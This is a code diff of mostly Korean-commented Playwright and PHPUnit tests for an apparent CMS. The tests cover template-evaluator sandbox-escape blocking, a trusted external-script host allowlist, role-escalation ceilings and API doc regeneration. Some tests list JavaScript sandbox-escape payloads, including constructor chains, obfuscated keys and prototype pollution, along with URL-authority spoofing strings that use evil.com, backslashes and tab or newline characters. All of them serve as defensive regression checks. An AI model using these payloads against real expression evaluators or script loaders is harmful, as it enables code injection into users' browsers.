date: g7.evaluateCondition('{{new Date("2020-01-01").getTime() > 0}}', ctx),
};
});
expect(result.arrow).toBe(true);
expect(result.spreadSet).toBe(true);
expect(result.template).toBe(true);
expect(result.date).toBe(true);
});
// @scenario case=constructor_escape
// @effects sandbox_escape_blocked, dangerous_payload_does_not_set_global
test('constructor 체인 샌드박스 탈출이 코드를 실행하지 못한다', async ({ page }) => {
const result = await page.evaluate(() => {
const g7 = (window as any).G7Core;
// 익스플로잇: 성공하면 window.__g7jsi 전역이 설정된다.
delete (window as any).__g7jsi;
const payloads = [
"{{''.constructor.constructor('window.__g7jsi = 1')()}}",
"{{''['constructor']['constructor']('window.__g7jsi = 2')()}}",
'{{({}).__proto__}}',
"{{Function('window.__g7jsi = 3')()}}",
];
// 각 페이로드를 평가 — 평가기는 거부(예외→false)해야 하며 코드는 실행되지 않아야 한다.
const results = payloads.map((p) => {
try {
return g7.evaluateCondition(p, {});
} catch {
return false;
}
});
return {
globalSet: (window as any).__g7jsi !== undefined,
allBlocked: results.every((r) => !r),
};
});
// 익스플로잇 코드가 실행되지 않았다(전역 canary 미설정).
expect(result.globalSet).toBe(false);
// 위험 표현식은 truthy 로 평가되지 않는다(거부).
expect(result.allBlocked).toBe(true);
});
// @scenario case=nonstring_key_escape
// @effects sandbox_escape_blocked, dangerous_payload_does_not_set_global
test('비-문자열 computed 키·Object 리플렉션 탈출이 배포 번들에서 코드를 실행하지 못한다', async ({ page }) => {
const result = await page.evaluate(() => {
const g7 = (window as any).G7Core;
delete (window as any).__g7jsi;
const payloads = [
// 배열 키가 ToPropertyKey 강제변환으로 constructor 도달 (engine-v1.60.1 이전 우회)
"{{''[['constructor']][['constructor']]('window.__g7jsi = 1')()}}",
// 문자열 조립 난독화 — 정적 룰이 못 잡는 형태(런타임 정규화가 최종 게이트)
"{{''[['const' + 'ructor']][['const' + 'ructor']]('window.__g7jsi = 2')()}}",
// 객체 toString 강제변환 키
"{{''[{ toString: () => 'constructor' }]}}",
// Object 리플렉션 static 으로 Function 도달
"{{Object.getOwnPropertyDescriptor(Object.getPrototypeOf(String), 'constructor').value('window.__g7jsi = 3')()}}",
// 프로토타입 오염 시도
'{{Object.setPrototypeOf({}, { polluted: 1 })}}',
];
const results = payloads.map((p) => {
try {
return g7.evaluateCondition(p, {});
} catch {
return false;
}
});
return {
globalSet: (window as any).__g7jsi !== undefined,
allBlocked: results.every((r) => !r),
};
});
expect(result.globalSet).toBe(false);
expect(result.allBlocked).toBe(true);
});
// @scenario case=object_facade_safe
// @effects same_expression_same_value_across_paths
test('안전한 Object 데이터 메서드(keys/assign/create)가 배포 번들에서 정상 동작한다', async ({ page }) => {
const result = await page.evaluate(() => {
const g7 = (window as any).G7Core;
const ctx = { o: { a: 1, b: 2 }, base: { x: 1 }, k: 'y', v: 2 };
return {
keys: g7.evaluateCondition("{{Object.keys(o).join(',') === 'a,b'}}", ctx),
// 실제 레이아웃(_tab_reviews.json)의 필터 맵 생성 패턴
createAssign: g7.evaluateCondition('{{Object.assign(Object.create(null), base, { [k]: v }).y === 2}}', ctx),
};
});
expect(result.keys).toBe(true);
expect(result.createAssign).toBe(true);
});
});
@@ -0,0 +1,122 @@
/**
* E2E: 레이아웃 외부 스크립트 신뢰 출처 허용목록 (배포 번들 기준, KVE-2026-1915)
*
* 배경: B-2 원격 스크립트 차단이 same-origin 이 아닌 모든 스크립트를 무조건 막아
* 번들 확장(CKEditor5 cdn.ckeditor.com, Daum 우편번호 t1.daumcdn.net)의 CDN 스크립트까지
* 깨뜨렸다. 확장이 manifest(`trusted_script_hosts`)로 선언한 호스트를 코어가 집계해
* `window.G7Config.trustedScriptHosts` 로 노출하고, 런타임 스크립트 로더가 그 목록만
* 예외로 허용하도록 고쳤다.
*
* 이 스펙은 서버→블레이드→배포 번들로 이어지는 주입 배선이 실제로 연결돼 있는지
* (G7Config.trustedScriptHosts 노출), 활성 확장의 선언이 그 목록에 반영되는지, 그리고
* 실제 화면 로드에서 신뢰 목록 밖 외부 스크립트가 하나도 실행되지 않는지(차단 관찰)를 잠근다.
*
* 차단 결정 함수(isAllowedScriptSrc) 자체는 minify 된 배포 번들에서 이름으로 호출할 수 없어
* 단위 스위트(TemplateApp.scriptSrc.test.ts)가 고정한다. 이 스펙은 그 결정의
* 관찰 가능한 결과 — "실제 페이지에 same-origin/신뢰호스트 외 스크립트가 로드되지 않음" —
* 을 네트워크 레벨에서 무조건 측정한다.
*
* authority 우회(`/\/evil.com/x.js` · 탭·개행 삽입)도 이 관찰에 포함된다. 그 형태는
* 브라우저가 외부 origin 으로 해석하므로, 판정이 뚫리면 네트워크에 cross-origin script
* 요청으로 나타나 아래 offenders 단언에 걸린다 — 요청 URL 은 이미 해석된 절대 URL 이라
* 우회 문자열 형태와 무관하게 origin 으로 판정된다.
*
* 시나리오 축(case)·효과는 매니페스트 tests/scenarios/trusted-script-hosts.yaml 참조.
* 각 test 의 `// @scenario case=…` 라인 마커가 축 조합을, `// @effects …` 가 효과를 커버한다.
*
* 효과 목록을 이 파일 레벨에 몰아 적지 않는다 — 커버리지 룰은 마커 레벨을 구분하지 않으므로,
* 파일 레벨 목록이 있으면 해당 test 를 지워도 효과가 "언급됨" 으로 집계돼 삭제가 무증상 green
* 이 된다. 마커는 test 에만 둔다.
*/
import { test, expect } from '../fixtures/auth';
test.describe('레이아웃 외부 스크립트 신뢰 출처 허용목록', () => {
test.beforeEach(async ({ page }) => {
await page.goto('/admin/login');
await page.waitForFunction(
() => typeof (window as any).G7Config !== 'undefined',
null,
{ timeout: 30_000 },
);
});
// @scenario case=trusted_hosts_exposed_in_config
// @effects trusted_script_host_allowlist_wired
test('배포 번들에 G7Config.trustedScriptHosts 가 배열로 노출된다', async ({ page }) => {
const shape = await page.evaluate(() => {
const hosts = (window as any).G7Config?.trustedScriptHosts;
return { isArray: Array.isArray(hosts), allStrings: Array.isArray(hosts) && hosts.every((h: unknown) => typeof h === 'string') };
});
expect(shape.isArray).toBe(true);
expect(shape.allStrings).toBe(true);
});
// @scenario case=active_extension_host_reflected
// @effects trusted_script_host_allowlist_wired
test('활성 확장이 선언한 신뢰 호스트가 허용목록에 반영된다', async ({ page }) => {
const result = await page.evaluate(() => {
const cfg = (window as any).G7Config ?? {};
const hosts: string[] = Array.isArray(cfg.trustedScriptHosts) ? cfg.trustedScriptHosts : [];
const plugins: Array<{ identifier?: string }> = Array.isArray(cfg.activePlugins) ? cfg.activePlugins : [];
const has = (id: string) => plugins.some((p) => p.identifier === id);
return {
ckeditorActive: has('sirsoft-ckeditor5'),
daumActive: has('sirsoft-daum_postcode'),
hasCkeditorHost: hosts.includes('cdn.ckeditor.com'),
hasDaumHost: hosts.includes('t1.daumcdn.net'),
};
});
// 확장이 활성일 때만 그 선언 호스트가 목록에 있어야 한다(비활성이면 스킵 — 서버 상태 독립).
if (result.ckeditorActive) {
expect(result.hasCkeditorHost).toBe(true);
}
if (result.daumActive) {
expect(result.hasDaumHost).toBe(true);
}
});
// @scenario case=untrusted_external_script_not_loaded
// @effects untrusted_external_script_blocked
test('실제 화면 로드에서 same-origin·신뢰호스트 외 스크립트는 하나도 로드되지 않는다', async ({ page }) => {
// 새 로드의 모든 script 네트워크 요청을 수집한다
const scriptUrls: string[] = [];
page.on('request', (req) => {
if (req.resourceType() === 'script') {
scriptUrls.push(req.url());
}
});
// beforeEach 가 이미 진입한 화면을 다시 로드해 엔진 부팅부터의 스크립트 요청을 포착한다
await page.reload({ waitUntil: 'networkidle' });
const cfg = await page.evaluate(() => ({
origin: window.location.origin,
hosts: (Array.isArray((window as any).G7Config?.trustedScriptHosts)
? (window as any).G7Config.trustedScriptHosts
: []) as string[],
}));
const trusted = new Set(cfg.hosts.map((h) => h.toLowerCase()));
// 측정 대상이 실제로 존재하는지(공허한 통과 방지) 확인 — 최소한 번들 스크립트는 로드된다
expect(scriptUrls.length).toBeGreaterThan(0);
const offenders = scriptUrls.filter((url) => {
let u: URL;
try {
u = new URL(url);
} catch {
return false; // 파싱 불가 URL 은 판정 대상 아님
}
if (u.protocol !== 'http:' && u.protocol !== 'https:') {
return false; // data:/blob: 등은 별개 축
}
const sameOrigin = u.origin === cfg.origin;
const trustedHost = trusted.has(u.hostname.toLowerCase());
return ! sameOrigin && ! trustedHost;
});
expect(offenders, `허용되지 않은 외부 스크립트가 로드됨: ${offenders.join(', ')}`).toEqual([]);
});
});
@@ -195,7 +195,13 @@ test('@smoke #399 Phase 1.8 - admin 페이지 헤더의 refresh 버튼이 .btn-i
// Phase 1.8: page_header 안의 refresh_button 이 인라인 Tailwind 5토큰에서
// 표준 .btn-icon 시맨틱 자산으로 통합됐는지 확인.
await expect(page.locator('#refresh_button').first()).toHaveClass(/btn-icon/);
//
// 마운트 대기는 형제 검증(Phase 1.7 의 10s, admin-role-list-refresh.spec 의 15s)과 같은
// 폭으로 맞춘다 — 기본 5s 로 두면 여러 spec 이 병렬로 도는 실행에서 SPA 마운트가 5s 를
// 넘겨 간헐 red 가 난다(클래스 불일치가 아니라 element not found 로 나타나 오진하기 쉽다).
const refreshButton = page.locator('#refresh_button').first();
await refreshButton.waitFor({ state: 'visible', timeout: 15_000 });
await expect(refreshButton).toHaveClass(/btn-icon/);
// Phase 1.9: page_header 의 우측 버튼 묶음 컨테이너가
// 인라인 'flex items-center gap-2' 가 아닌 기존 시맨틱 .flex-center 를 활용한
@@ -461,7 +461,7 @@ class ExtensionPendingHelperTest extends TestCase
* 스테이징 디렉토리의 rename(_updating_ → 활성)이 차단될 때
* 파일 단위 복사로 폴백하여 교체가 완료되는지 확인합니다.
*
* PO 실사용 로그의 실패 지점: 활성 → _old 는 성공했으나, 방금 복사된 스테이징
* 실사용 로그의 실패 지점: 활성 → _old 는 성공했으나, 방금 복사된 스테이징
* 트리를 워처가 이미 열어 _updating_ → 활성 rename 이 차단된 케이스.
*/
public function test_copy_to_active_copies_per_file_when_staging_rename_is_blocked(): void
+119 -14
View File
@@ -5,6 +5,7 @@ namespace Tests\Unit\Services;
use App\Enums\ExtensionOwnerType;
use App\Enums\PermissionType;
use App\Exceptions\CannotDeleteSuperAdminException;
use App\Exceptions\PermissionEscalationException;
use App\Models\Permission;
use App\Models\Role;
use App\Models\User;
@@ -506,15 +507,20 @@ class UserServiceTest extends TestCase
}
/**
* core.permissions.update 권한 없으면 타인의 역할 변경 불가 (무시됨)
* 역할 부여는 core.permissions.update(역할 정의 수정)를 요구하지 않는다 — 상한(ceiling)
* 이내라면 그 권한이 없어도 역할을 부여할 수 있다. (역할 부여 = 사용자 관리의 일부)
*
* 회귀 방지: 과거에는 core.permissions.update 가 없으면 role_ids 를 조용히 버려(silent
* no-op) 200 성공을 반환하면서도 역할이 바뀌지 않았다. 이제는 상한만 통과하면 부여된다.
*/
public function test_update_user_ignores_role_ids_without_permission(): void
public function test_update_user_assigns_role_within_ceiling_without_permissions_update(): void
{
$originalRole = Role::create([
'identifier' => 'original-role',
'name' => ['ko' => '원래 역할', 'en' => 'Original Role'],
]);
// 권한이 전혀 없는 역할 → 어떤 액터의 상한도 넘지 않는다.
$newRole = Role::create([
'identifier' => 'new-role-test',
'name' => ['ko' => '새 역할', 'en' => 'New Role'],
@@ -523,20 +529,56 @@ class UserServiceTest extends TestCase
$targetUser = User::factory()->create();
$targetUser->roles()->attach($originalRole->id);
// 권한 없는 사용자로 인증
// core.permissions.update 가 없는 액터로 인증 (사용자 관리 권한은 라우트 단계에서
// 강제되며, 서비스 계층 테스트에서는 상한만 검사된다)
$authUser = User::factory()->create();
Auth::login($authUser);
// 타인의 역할 변경 시도
$updatedUser = $this->userService->updateUser($targetUser, [
'name' => 'Changed Name',
'role_ids' => [$newRole->id],
]);
// 이름은 변경되지만 역할은 변경되지 않아야 함
// 이름과 역할 모두 변경되어야 한다 (silent no-op 아님)
$this->assertEquals('Changed Name', $updatedUser->name);
$this->assertTrue($updatedUser->roles->contains('id', $originalRole->id));
$this->assertFalse($updatedUser->roles->contains('id', $newRole->id));
$this->assertTrue($updatedUser->roles->contains('id', $newRole->id));
$this->assertFalse($updatedUser->roles->contains('id', $originalRole->id));
}
/**
* 상한을 넘는 역할(액터가 보유하지 않은 권한을 담은 역할)은 부여 시 명시적으로 거부된다.
*
* 회귀 방지: 조용히 무시(silent no-op)하는 대신 PermissionEscalationException 을 던져
* 컨트롤러가 403 으로 매핑하도록 한다.
*/
public function test_update_user_rejects_role_beyond_actor_ceiling(): void
{
$elevatedPermission = Permission::create([
'identifier' => 'core.templates.uninstall',
'name' => ['ko' => '템플릿 삭제', 'en' => 'Uninstall Templates'],
'extension_type' => ExtensionOwnerType::Core,
'extension_identifier' => 'core',
'type' => PermissionType::Admin,
]);
// 액터가 보유하지 않은 권한을 담은 역할 → 상한 초과
$elevatedRole = Role::create([
'identifier' => 'elevated-role',
'name' => ['ko' => '상위 역할', 'en' => 'Elevated Role'],
]);
$elevatedRole->permissions()->attach($elevatedPermission->id);
$targetUser = User::factory()->create();
// 그 권한을 보유하지 않은 액터
$authUser = User::factory()->create();
Auth::login($authUser);
$this->expectException(PermissionEscalationException::class);
$this->userService->updateUser($targetUser, [
'role_ids' => [$elevatedRole->id],
]);
}
/**
@@ -591,11 +633,13 @@ class UserServiceTest extends TestCase
// ========================================================================
/**
* core.permissions.update 권한 없으면 기본 역할(user) 자동 할당
* 역할을 지정하지 않고 생성하면 기본 역할('user')이 자동 배정된다.
*
* 회귀 방지: 기본 역할 배정은 권한 게이트가 아니라 "요청 역할 없음" 조건에 묶인다.
* (과거에는 core.permissions.update 미보유 조건에 묶여 있어 지정 역할을 덮어썼다)
*/
public function test_create_user_assigns_default_role_without_permission(): void
public function test_create_user_assigns_default_role_when_none_requested(): void
{
// 기본 user 역할 생성
$userRole = Role::create([
'identifier' => 'user',
'name' => ['ko' => '사용자', 'en' => 'User'],
@@ -604,12 +648,41 @@ class UserServiceTest extends TestCase
'is_active' => true,
]);
$authUser = User::factory()->create();
Auth::login($authUser);
$user = $this->userService->createUser([
'name' => 'Test User',
'email' => 'testcreate@test.com',
'password' => 'password123',
]);
$this->assertTrue($user->roles->contains('id', $userRole->id));
}
/**
* core.permissions.update 가 없어도 상한 이내의 지정 역할은 그대로 부여된다
* (기본 역할로 덮어쓰지 않는다).
*
* 회귀 방지: 과거에는 core.permissions.update 미보유 시 지정 역할을 버리고 기본 역할을
* 강제 배정했다. 이제는 상한만 통과하면 지정 역할이 부여된다.
*/
public function test_create_user_assigns_requested_role_within_ceiling_without_permissions_update(): void
{
$userRole = Role::create([
'identifier' => 'user',
'name' => ['ko' => '사용자', 'en' => 'User'],
'extension_type' => ExtensionOwnerType::Core,
'extension_identifier' => 'core',
'is_active' => true,
]);
// 권한이 없는 역할 → 상한 이내
$customRole = Role::create([
'identifier' => 'custom-role',
'name' => ['ko' => '커스텀 역할', 'en' => 'Custom Role'],
]);
// 권한 없는 사용자로 인증
$authUser = User::factory()->create();
Auth::login($authUser);
@@ -620,9 +693,41 @@ class UserServiceTest extends TestCase
'role_ids' => [$customRole->id],
]);
// 커스텀 역할 대신 기본 역할이 할당되어야 함
$this->assertTrue($user->roles->contains('id', $userRole->id));
$this->assertFalse($user->roles->contains('id', $customRole->id));
// 지정 역할이 부여되고 기본 역할로 덮어쓰이지 않는다
$this->assertTrue($user->roles->contains('id', $customRole->id));
$this->assertFalse($user->roles->contains('id', $userRole->id));
}
/**
* 상한을 넘는 역할을 지정해 생성하면 명시적으로 거부된다.
*/
public function test_create_user_rejects_role_beyond_actor_ceiling(): void
{
$elevatedPermission = Permission::create([
'identifier' => 'core.templates.uninstall',
'name' => ['ko' => '템플릿 삭제', 'en' => 'Uninstall Templates'],
'extension_type' => ExtensionOwnerType::Core,
'extension_identifier' => 'core',
'type' => PermissionType::Admin,
]);
$elevatedRole = Role::create([
'identifier' => 'elevated-create-role',
'name' => ['ko' => '상위 역할', 'en' => 'Elevated Role'],
]);
$elevatedRole->permissions()->attach($elevatedPermission->id);
$authUser = User::factory()->create();
Auth::login($authUser);
$this->expectException(PermissionEscalationException::class);
$this->userService->createUser([
'name' => 'New User',
'email' => 'newuser@test.com',
'password' => 'password123',
'role_ids' => [$elevatedRole->id],
]);
}
/**
@@ -2049,4 +2049,98 @@ MD;
$cells = preg_split('/(?<!\\\\)\|/', trim($line, '| '));
$this->assertCount(3, $cells, "403 행은 3열(상태코드/의미/발생 조건)이어야 한다: {$line}");
}
/**
* 403 행의 권한 식별자는 사람 서술이 아니라 라우트에서 파생된 사실이므로, 라우트의 요구
* 권한이 바뀌면 재생성이 그 식별자를 갱신해야 한다.
*
* 배경: 에러 표 병합은 같은 상태코드에서 기존 행을 이기게 둔다(409·429 같은 도메인 특이
* 조건을 사람이 보강해 두기 때문). 그 규칙이 403 에도 그대로 걸리면 라우트 권한을 바꿔도
* 옛 식별자가 영구히 남아, 문서가 조용히 틀린 권한을 안내한다.
*/
#[Test]
public function 라우트_권한이_바뀌면_403_행의_권한_식별자가_갱신된다(): void
{
$scaffolder = new ApiDocScaffolder;
$makeRoute = fn (string $permission): array => [
'method' => 'GET',
'uri' => '/api/admin/widgets',
'name' => 'api.admin.widgets.index',
'controller' => 'WidgetController',
'controller_method' => 'index',
'permission' => $permission,
'middleware' => ['api', 'auth:sanctum', 'permission:admin,'.$permission],
'path_params' => [],
];
$request = ['request_class' => null, 'params' => [], 'hook_filters' => []];
$schema = ['envelope' => ['data'], 'shape' => 'collection', 'fields' => [], 'pagination' => false];
$probe = ['status' => 200, 'skipped_reason' => null];
$header = "# W\n";
$keys = ['api.admin.widgets.index'];
$before = $scaffolder->endpointSection($makeRoute('core.widgets.read'), $request, $schema, $probe);
$doc = $scaffolder->mergeDocument(null, $header, [$before], $keys);
$this->assertStringContainsString('요구 권한(`core.widgets.read`)이 없는 경우', $doc);
// 라우트의 요구 권한이 바뀐 뒤 재생성한다.
$after = $scaffolder->endpointSection($makeRoute('core.widgets.manage'), $request, $schema, $probe);
$regenerated = $scaffolder->mergeDocument($doc, $header, [$after], $keys);
$this->assertStringContainsString(
'요구 권한(`core.widgets.manage`)이 없는 경우',
$regenerated,
'라우트 권한이 바뀌면 403 행의 식별자가 갱신되어야 한다'
);
$this->assertStringNotContainsString(
'core.widgets.read',
$regenerated,
'낡은 권한 식별자가 남으면 문서가 틀린 권한을 안내한다'
);
}
/**
* 식별자 갱신이 사람이 보강한 문구까지 덮어써서는 안 된다 — 갱신 대상은 백틱 식별자뿐이다.
*/
#[Test]
public function forbidden_행_식별자_갱신은_사람이_보강한_조건_문구를_보존한다(): void
{
$scaffolder = new ApiDocScaffolder;
$makeRoute = fn (string $permission): array => [
'method' => 'DELETE',
'uri' => '/api/admin/widgets/{widget}',
'name' => 'api.admin.widgets.destroy',
'controller' => 'WidgetController',
'controller_method' => 'destroy',
'permission' => $permission,
'middleware' => ['api', 'auth:sanctum', 'permission:admin,'.$permission],
'path_params' => ['widget'],
];
$request = ['request_class' => null, 'params' => [], 'hook_filters' => []];
$schema = ['envelope' => ['data'], 'shape' => 'object', 'fields' => [], 'pagination' => false];
$probe = ['status' => 200, 'skipped_reason' => null];
$header = "# W\n";
$keys = ['api.admin.widgets.destroy'];
$before = $scaffolder->endpointSection($makeRoute('core.widgets.delete'), $request, $schema, $probe);
$doc = $scaffolder->mergeDocument(null, $header, [$before], $keys);
// 사람이 403 행에 도메인 조건을 덧붙인다.
$withHuman = str_replace(
'| 403 | Forbidden | 요구 권한(`core.widgets.delete`)이 없는 경우 |',
'| 403 | Forbidden | 요구 권한(`core.widgets.delete`)이 없거나, 시스템 위젯을 삭제하려는 경우 |',
$doc
);
$this->assertStringContainsString('시스템 위젯을 삭제하려는 경우', $withHuman);
$after = $scaffolder->endpointSection($makeRoute('core.widgets.manage'), $request, $schema, $probe);
$regenerated = $scaffolder->mergeDocument($withHuman, $header, [$after], $keys);
$this->assertStringContainsString(
'요구 권한(`core.widgets.manage`)이 없거나, 시스템 위젯을 삭제하려는 경우',
$regenerated,
'식별자만 갱신되고 사람이 보강한 조건은 그대로 남아야 한다'
);
}
}
@@ -0,0 +1,397 @@
<?php
namespace Tests\Unit\Support;
use App\Extension\AbstractModule;
use App\Extension\AbstractPlugin;
use App\Extension\HookManager;
use App\Extension\ModuleManager;
use App\Extension\PluginManager;
use App\Extension\TemplateManager;
use App\Support\TrustedScriptHosts;
use PHPUnit\Framework\Attributes\DataProvider;
use Tests\TestCase;
/**
* TrustedScriptHosts 집계/판정 테스트 (KVE-2026-1915 신뢰 출처 허용목록)
*
* 확장이 manifest 로 선언한 외부 스크립트 호스트를 집계하고, URL 의 호스트가 그 목록에
* 속하는지 판정하는 로직을 고정합니다. 런타임·저장측·audit 이 모두 이 SSoT 를 참조하므로
* 호스트 추출/정규화가 틀리면 세 계층이 함께 어긋납니다.
*
* 선언 주체는 모듈·플러그인·템플릿 셋이고 집계 경로가 서로 다릅니다 — 모듈/플러그인은
* PHP 추상 클래스의 getTrustedScriptHosts(), 템플릿은 manifest 배열 직접 읽기. 한 주체만
* 검사하면 나머지 주체의 집계 누락이 드러나지 않습니다(템플릿 축이 그렇게 빠져 있던 것이
* B-2b 결함이었습니다).
*
* 이 관심사는 시나리오 매니페스트(tests/scenarios/trusted-script-hosts.yaml)의
* sub_flow `trusted_host_declaring_subject` 로 등록되어 있습니다. 브라우저 관찰 축(case)과
* 교차하지 않는 별개 관심사라 축으로 올리면 어떤 조합도 관측 지점을 갖지 못합니다 —
* 그래서 축이 아니라 sub_flow 이고, 커버는 아래 메서드들의 효과 마커가 담당합니다.
*
* 주의: 산문에 마커 문법을 그대로 인용하면 파서(.claude/scripts/lib/test-scenario.cjs)가
* 그 문장을 마커로 읽어 실재하지 않는 조합을 만듭니다. 마커 이름은 평문으로만 언급합니다.
*
* 효과 요약(마커 아님 — 평문): every_extension_type_declaration_is_collected,
* malformed_or_absent_declaration_is_ignored. 실제 마커는 아래 메서드에만 둡니다.
*/
class TrustedScriptHostsTest extends TestCase
{
protected function tearDown(): void
{
HookManager::clearFilter(TrustedScriptHosts::FILTER_HOOK);
parent::tearDown();
}
// ── hostOf: URL → 호스트 추출 ──────────────────────────
public function test_host_of_extracts_scheme_url_host(): void
{
$this->assertSame('cdn.ckeditor.com', TrustedScriptHosts::hostOf('https://cdn.ckeditor.com/ckeditor5/x.js'));
}
public function test_host_of_extracts_protocol_relative_host(): void
{
$this->assertSame('t1.daumcdn.net', TrustedScriptHosts::hostOf('//t1.daumcdn.net/mapjsapi/postcode.js'));
}
public function test_host_of_returns_null_for_same_origin_path(): void
{
$this->assertNull(TrustedScriptHosts::hostOf('/api/modules/x/y.js'));
}
public function test_host_of_lowercases(): void
{
$this->assertSame('cdn.ckeditor.com', TrustedScriptHosts::hostOf('https://CDN.CKEditor.COM/x.js'));
}
// ── isTrustedUrl: 명시 목록 대조 ───────────────────────
public function test_is_trusted_url_allows_listed_host(): void
{
$this->assertTrue(
TrustedScriptHosts::isTrustedUrl('https://cdn.ckeditor.com/x.js', ['cdn.ckeditor.com'])
);
}
public function test_is_trusted_url_blocks_unlisted_host(): void
{
$this->assertFalse(
TrustedScriptHosts::isTrustedUrl('https://evil.com/x.js', ['cdn.ckeditor.com'])
);
}
public function test_is_trusted_url_blocks_same_origin_path(): void
{
// same-origin 경로는 호스트가 없으므로 신뢰 목록 판정 대상이 아니다(별도 path 규칙이 허용)
$this->assertFalse(
TrustedScriptHosts::isTrustedUrl('/local/x.js', ['cdn.ckeditor.com'])
);
}
// ── hostOf: authority 우회 정규화 (KVE-2026-1915 3층 동형) ──
//
// 브라우저(WHATWG URL)는 파싱 전에 ASCII tab·LF·CR 을 제거하고 special scheme 에서
// 백슬래시를 슬래시와 동등 처리한다. 그 정규화 없이 parse_url 로 호스트를 뽑으면
// `https://evil.com\@cdn.ckeditor.com/x.js` 의 호스트를 `cdn.ckeditor.com`(userinfo 해석)
// 으로 보게 되는데, 브라우저는 같은 문자열을 `evil.com` 에서 로드한다.
// 런타임(TemplateApp)·정적검사(layout-scripts-src-same-origin)는 이미 정규화하므로
// 이 판정만 갈리면 "저장은 되는데 로드는 안 되는" 비대칭이 생긴다.
/**
* @return array<string, array{0: string, 1: string|null}>
*/
public static function authorityNormalizationProvider(): array
{
$bs = chr(92); // 백슬래시
$tab = chr(9);
$lf = chr(10);
$cr = chr(13);
return [
// 신뢰 호스트를 userinfo 로 위장 → 실제 출처는 evil.com
'backslash userinfo (scheme)' => ['https://evil.com'.$bs.'@cdn.ckeditor.com/x.js', 'evil.com'],
'backslash userinfo (protocol-relative)' => ['//evil.com'.$bs.'@cdn.ckeditor.com/x.js', 'evil.com'],
'tab userinfo' => ['https://evil.com'.$tab.'@cdn.ckeditor.com/x.js', 'cdn.ckeditor.com'],
'lf in host' => ['https://evil'.$lf.'.com/x.js', 'evil.com'],
'cr in host' => ['https://evil'.$cr.'.com/x.js', 'evil.com'],
// 역방향: 문자열상 path 지만 브라우저는 authority 로 해석 → 호스트가 나와야 한다
'backslash authority from path' => ['/'.$bs.'/cdn.ckeditor.com/x.js', 'cdn.ckeditor.com'],
];
}
#[DataProvider('authorityNormalizationProvider')]
public function test_host_of_normalizes_authority_like_browser(string $url, ?string $expected): void
{
$this->assertSame($expected, TrustedScriptHosts::hostOf($url));
}
public function test_is_trusted_url_rejects_backslash_userinfo_disguise(): void
{
$this->assertFalse(
TrustedScriptHosts::isTrustedUrl(
'https://evil.com'.chr(92).'@cdn.ckeditor.com/x.js',
['cdn.ckeditor.com']
)
);
}
public function test_is_trusted_url_allows_backslash_authority_to_trusted_host(): void
{
// 런타임은 이 형태를 `//cdn.ckeditor.com/x.js` 로 해석해 허용한다.
// 저장측이 거부하면 신뢰 호스트 스크립트가 저장 불가가 되는 과차단 비대칭이다.
$this->assertTrue(
TrustedScriptHosts::isTrustedUrl(
'/'.chr(92).'/cdn.ckeditor.com/x.js',
['cdn.ckeditor.com']
)
);
}
public function test_host_of_still_returns_null_for_plain_path_with_inner_backslash(): void
{
// 경로 중간의 백슬래시는 authority 를 만들지 않는다 (과차단 회귀 방지)
$this->assertNull(TrustedScriptHosts::hostOf('/js/a'.chr(92).'b.js'));
}
// ── hosts(): 활성 모듈·플러그인 manifest 집계 ───────────
//
// 모듈/플러그인은 PHP 추상 클래스의 `getTrustedScriptHosts()` 로 manifest 를 읽어
// 집계된다(템플릿과 경로가 다르다). 이 축이 없으면 추상 클래스의 manifest 파싱이
// 깨져도 템플릿 테스트만 green 이라 드러나지 않는다.
/**
* 모듈 manifest 의 선언이 읽히고, 비문자열·공백 항목은 걸러진다.
*
* @effects every_extension_type_declaration_is_collected, malformed_or_absent_declaration_is_ignored
*/
public function test_module_reads_declared_hosts_from_manifest(): void
{
$module = $this->fakeExtension(AbstractModule::class, [
'trusted_script_hosts' => [' cdn.module.example ', 123, null, ''],
]);
$this->assertSame(['cdn.module.example'], $module->getTrustedScriptHosts());
}
/**
* 모듈 manifest 가 배열이 아니면 빈 목록으로 처리된다 (손상된 manifest 방어).
*
* @effects malformed_or_absent_declaration_is_ignored
*/
public function test_module_ignores_non_array_declaration(): void
{
$module = $this->fakeExtension(AbstractModule::class, ['trusted_script_hosts' => 'not-an-array']);
$this->assertSame([], $module->getTrustedScriptHosts());
}
/**
* 플러그인 manifest 의 선언이 읽히고, 비문자열·공백 항목은 걸러진다.
*
* @effects every_extension_type_declaration_is_collected, malformed_or_absent_declaration_is_ignored
*/
public function test_plugin_reads_declared_hosts_from_manifest(): void
{
$plugin = $this->fakeExtension(AbstractPlugin::class, [
'trusted_script_hosts' => ['cdn.plugin.example', false],
]);
$this->assertSame(['cdn.plugin.example'], $plugin->getTrustedScriptHosts());
}
/**
* 선언이 아예 없는 manifest 는 빈 목록이다 (미선언 확장이 다수인 정상 경로).
*
* @effects malformed_or_absent_declaration_is_ignored
*/
public function test_plugin_without_declaration_returns_empty(): void
{
$plugin = $this->fakeExtension(AbstractPlugin::class, ['name' => 'x']);
$this->assertSame([], $plugin->getTrustedScriptHosts());
}
/**
* 활성 모듈·플러그인이 선언한 호스트가 집계에 합류한다.
*
* @effects every_extension_type_declaration_is_collected
*/
public function test_hosts_includes_active_module_and_plugin_declared_hosts(): void
{
$this->fakeActiveExtensions(
modules: [$this->fakeExtension(AbstractModule::class, ['trusted_script_hosts' => ['cdn.module.example']])],
plugins: [$this->fakeExtension(AbstractPlugin::class, ['trusted_script_hosts' => ['cdn.plugin.example']])]
);
$hosts = TrustedScriptHosts::hosts();
$this->assertContains('cdn.module.example', $hosts);
$this->assertContains('cdn.plugin.example', $hosts);
}
/**
* 모듈 집계가 실패해도 나머지 주체의 집계는 계속된다 (fine-grained 실패 격리).
*
* @effects malformed_or_absent_declaration_is_ignored
*/
public function test_hosts_survives_module_aggregation_failure(): void
{
$moduleManager = \Mockery::mock(ModuleManager::class);
$moduleManager->shouldReceive('getActiveModules')->andThrow(new \RuntimeException('boom'));
$this->instance(ModuleManager::class, $moduleManager);
$pluginManager = \Mockery::mock(PluginManager::class);
$pluginManager->shouldReceive('getActivePlugins')->andReturn([
$this->fakeExtension(AbstractPlugin::class, ['trusted_script_hosts' => ['cdn.plugin.example']]),
]);
$this->instance(PluginManager::class, $pluginManager);
$this->assertContains('cdn.plugin.example', TrustedScriptHosts::hosts());
}
// ── hosts(): 집계 + 훅 확장 ────────────────────────────
public function test_hosts_includes_hook_declared_hosts(): void
{
HookManager::addFilter(
TrustedScriptHosts::FILTER_HOOK,
fn (array $hosts) => array_merge($hosts, ['cdn.example.com']),
priority: 1
);
$this->assertContains('cdn.example.com', TrustedScriptHosts::hosts());
}
public function test_hosts_normalizes_and_dedupes(): void
{
HookManager::addFilter(
TrustedScriptHosts::FILTER_HOOK,
